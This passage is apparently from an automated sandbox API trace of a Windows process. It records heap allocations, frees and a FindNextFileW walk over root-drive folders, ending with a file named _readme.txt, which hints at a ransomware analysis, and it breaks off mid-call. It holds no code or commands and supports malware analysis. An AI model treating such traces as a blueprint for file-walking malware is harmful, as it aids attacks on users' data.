RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.320] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316aeb0 | out: hHeap=0x5d0000) returned 1 [0066.320] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fb00 | out: hHeap=0x5d0000) returned 1 [0066.320] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fe20 | out: hHeap=0x5d0000) returned 1 [0066.320] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3285c68 | out: hHeap=0x5d0000) returned 1 [0066.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.320] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3186fe8 | out: hHeap=0x5d0000) returned 1 [0066.320] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187078 | out: hHeap=0x5d0000) returned 1 [0066.320] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x813b7be0, ftLastWriteTime.dwHighDateTime=0x1d4d5ae, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0066.320] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0066.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fe20 [0066.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fb00 [0066.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa8) returned 0x315d2d0 [0066.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316aeb0 [0066.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f8d0 [0066.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260168 [0066.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187078 [0066.320] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b3f0 | out: hHeap=0x5d0000) returned 1 [0066.320] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f718 | out: hHeap=0x5d0000) returned 1 [0066.320] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.320] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.320] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0066.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.320] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fb00 | out: hHeap=0x5d0000) returned 1 [0066.320] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fe20 | out: hHeap=0x5d0000) returned 1 [0066.320] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xa9615f30, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0066.320] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0066.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fe20 [0066.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fb00 [0066.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f718 [0066.320] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fb00 | out: hHeap=0x5d0000) returned 1 [0066.320] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fe20 | out: hHeap=0x5d0000) returned 1 [0066.320] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9d9b9bc0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9d9b9bc0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0066.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316b3f0 [0066.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316b1c0 [0066.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfc) returned 0x327dc68 [0066.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316ad60 [0066.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fe20 [0066.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fb00 [0066.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32602f8 [0066.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f8a8 [0066.321] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316aeb0 | out: hHeap=0x5d0000) returned 1 [0066.321] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f8d0 | out: hHeap=0x5d0000) returned 1 [0066.321] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260168 | out: hHeap=0x5d0000) returned 1 [0066.321] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187078 | out: hHeap=0x5d0000) returned 1 [0066.321] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.321] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f718 | out: hHeap=0x5d0000) returned 1 [0066.321] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x315d2d0 | out: hHeap=0x5d0000) returned 1 [0066.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316aeb0 [0066.321] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b1c0 | out: hHeap=0x5d0000) returned 1 [0066.321] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b3f0 | out: hHeap=0x5d0000) returned 1 [0066.321] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0066.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316b3f0 [0066.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316b1c0 [0066.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316af20 [0066.321] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b1c0 | out: hHeap=0x5d0000) returned 1 [0066.321] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b3f0 | out: hHeap=0x5d0000) returned 1 [0066.321] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0066.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f718 [0066.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260168 [0066.321] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.321] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f718 | out: hHeap=0x5d0000) returned 1 [0066.321] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27cc8060, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27cc8060, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0066.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f718 [0066.322] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.322] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x16c) returned 0x30fb448 [0066.322] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316b3f0 [0066.322] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f8d0 [0066.322] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f998 [0066.322] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187078 [0066.322] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff60 [0066.322] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fec0 [0066.322] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316b1c0 [0066.322] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316b1f8 [0066.322] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f290 [0066.322] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316ad60 | out: hHeap=0x5d0000) returned 1 [0066.322] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fe20 | out: hHeap=0x5d0000) returned 1 [0066.322] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fb00 | out: hHeap=0x5d0000) returned 1 [0066.322] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.322] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32602f8 | out: hHeap=0x5d0000) returned 1 [0066.322] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f8a8 | out: hHeap=0x5d0000) returned 1 [0066.322] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316aeb0 | out: hHeap=0x5d0000) returned 1 [0066.322] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316af20 | out: hHeap=0x5d0000) returned 1 [0066.322] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260168 | out: hHeap=0x5d0000) returned 1 [0066.322] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327dc68 | out: hHeap=0x5d0000) returned 1 [0066.322] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260168 [0066.322] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.322] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f718 | out: hHeap=0x5d0000) returned 1 [0066.322] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x56231c60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0xa1602bc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa1602bc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0066.322] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.322] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3186fe8 [0066.322] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.322] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3186fe8 | out: hHeap=0x5d0000) returned 1 [0066.322] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187030 | out: hHeap=0x5d0000) returned 1 [0066.322] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac77a7b0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xac77a7b0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xac77a7b0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SystemID", cAlternateFileName="")) returned 1 [0066.322] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f718 [0066.322] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f8a8 [0066.323] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.323] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f718 | out: hHeap=0x5d0000) returned 1 [0066.323] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0066.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f718 [0066.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32602f8 [0066.323] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.323] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f718 | out: hHeap=0x5d0000) returned 1 [0066.323] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0066.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f718 [0066.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260028 [0066.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x214) returned 0x329f158 [0066.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316af20 [0066.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fb00 [0066.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fe20 [0066.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0066.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32600a0 [0066.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fbf0 [0066.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316aeb0 [0066.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316ad60 [0066.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260280 [0066.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3186fe8 [0066.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.323] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b3f0 | out: hHeap=0x5d0000) returned 1 [0066.323] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f8d0 | out: hHeap=0x5d0000) returned 1 [0066.323] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f998 | out: hHeap=0x5d0000) returned 1 [0066.323] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187078 | out: hHeap=0x5d0000) returned 1 [0066.323] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325ff60 | out: hHeap=0x5d0000) returned 1 [0066.323] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fec0 | out: hHeap=0x5d0000) returned 1 [0066.323] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b1c0 | out: hHeap=0x5d0000) returned 1 [0066.324] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b1f8 | out: hHeap=0x5d0000) returned 1 [0066.324] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f290 | out: hHeap=0x5d0000) returned 1 [0066.324] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260168 | out: hHeap=0x5d0000) returned 1 [0066.324] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.324] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f8a8 | out: hHeap=0x5d0000) returned 1 [0066.324] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32602f8 | out: hHeap=0x5d0000) returned 1 [0066.324] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x30fb448 | out: hHeap=0x5d0000) returned 1 [0066.324] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32602f8 [0066.324] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260028 | out: hHeap=0x5d0000) returned 1 [0066.324] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f718 | out: hHeap=0x5d0000) returned 1 [0066.324] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb30f5690, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb30f5690, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb30f5690, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0066.324] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb30f5690, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb30f5690, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb30f5690, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0066.324] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.324] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.324] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316b1f8 [0066.324] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.324] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316b1c0 [0066.324] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.324] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.324] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b1c0 | out: hHeap=0x5d0000) returned 1 [0066.324] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316b1c0 [0066.324] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.324] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.324] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b1c0 | out: hHeap=0x5d0000) returned 1 [0066.324] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316b1c0 [0066.324] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.324] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.324] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b1c0 | out: hHeap=0x5d0000) returned 1 [0066.324] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316b1c0 [0066.324] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.324] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.324] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b1c0 | out: hHeap=0x5d0000) returned 1 [0066.325] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316b1c0 [0066.325] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.325] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.325] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b1c0 | out: hHeap=0x5d0000) returned 1 [0066.325] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316b1c0 [0066.325] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.325] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.325] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b1c0 | out: hHeap=0x5d0000) returned 1 [0066.325] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316b1c0 [0066.325] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.325] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.325] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.325] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.325] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b1c0 | out: hHeap=0x5d0000) returned 1 [0066.325] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316b1c0 [0066.325] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.325] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.325] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b1c0 | out: hHeap=0x5d0000) returned 1 [0066.325] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316b1c0 [0066.325] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.325] HeapFree (in: 